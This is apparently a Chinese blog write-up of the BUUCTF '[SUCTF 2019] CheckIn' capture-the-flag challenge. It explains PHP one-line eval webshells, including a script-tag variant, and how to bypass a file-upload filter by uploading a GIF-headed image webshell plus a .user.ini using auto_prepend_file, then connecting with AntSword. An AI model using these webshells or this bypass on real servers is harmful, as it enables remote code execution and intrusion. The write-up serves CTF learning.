BUUCTF__[SUCTF 2019]CheckIn_题解

最新推荐文章于 2024-04-28 12:30:16 发布

风过江南乱

最新推荐文章于 2024-04-28 12:30:16 发布

阅读量1.4k

点赞数 2

分类专栏： BUU做题记录

本文链接：https://blog.csdn.net/TM_1024/article/details/106266691

版权

38 篇文章 14 订阅

订阅专栏

说一下一句话木马，天真的我以为只有<?php @eval($_POST['post']) ?>
然而还是太天真了，一句话木马有很多姿势，是值得深入研究的内容，毕竟危害太大了，可以为所欲为。
一句话木马常见的可以是用php、jsp、asp、aspx写的，看蚁剑连接方式就能发现。而且内容远远不是这么简单。可以自行了解。
所以我们需要让一句话木马里没有 <? 所以用了 <script language="php">eval($_POST['a']);</script> ，但本质上还是 PHP 一句话木马，因为执行函数还是 PHP 的 eval()。

 if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }

简单的说，我们应该知道 PHP 中的配置文件 php.ini ，很多操作都需要修改它，比如说可以隐藏报错、修改上传文件限制等。
而我们要用的 .user.ini也是 PHP 的一个配置文件，但没有 php.ini 等级高。就像admin用户和普通用户的差别，php.ini 有很多配置权限，但 .user.ini没有。详情了解，可以看看这个
但仍然可以帮助我们执行图片马原因有以下的配置选项。

  auto_prepend_file 在页面顶部加载文件      
  auto_append_file  在页面底部加载文件

什么意思呢，相当于在每个php页面加上一句 include() ，可以在PHP中加载执行另一个PHP文件。
注意，是每个，也就是说只要有 PHP 文件被加载，就会去加载执行这个文件，而且是以 PHP 的方式解析。
所以，我们上面绕过了了文件验证，上传了一个 .user.ini 文件，再上传一个图片马，让被执行的 PHP 文件去包含执行我们的图片马，就可以用蚁剑连接来得到flag。

首先我们先创建一个图片马。
最简单的方式就是先上传一个后缀名为 GIF的 PHP 文件，再抓包加上文件头文本 GIF89a ，或者把文件用winhex或其它工具十六进制打开，在文件头加上相应的十六进制数。当然也可以用 png 或 jpg 形式的图片马，只不过添加文件头只能通过加十六进制数而已，还是抓包简单。
成功传入图片马，再上传包含auto_prepend_file配置选项的.user.ini文件，让它去包含我们上传的图片马。
成功传入.user.ini 同时，知道了存在被执行的index.php 文件，同时知道了文件路径，所以用蚁剑来连接。
```
  http://69a5ba54-c3eb-4c89-95f2-648ef5626820.node3.buuoj.cn/uploads/48cd8b43081896fbd0931d204f947663/index.php     
```

在这里插入图片描述

关注

专栏目录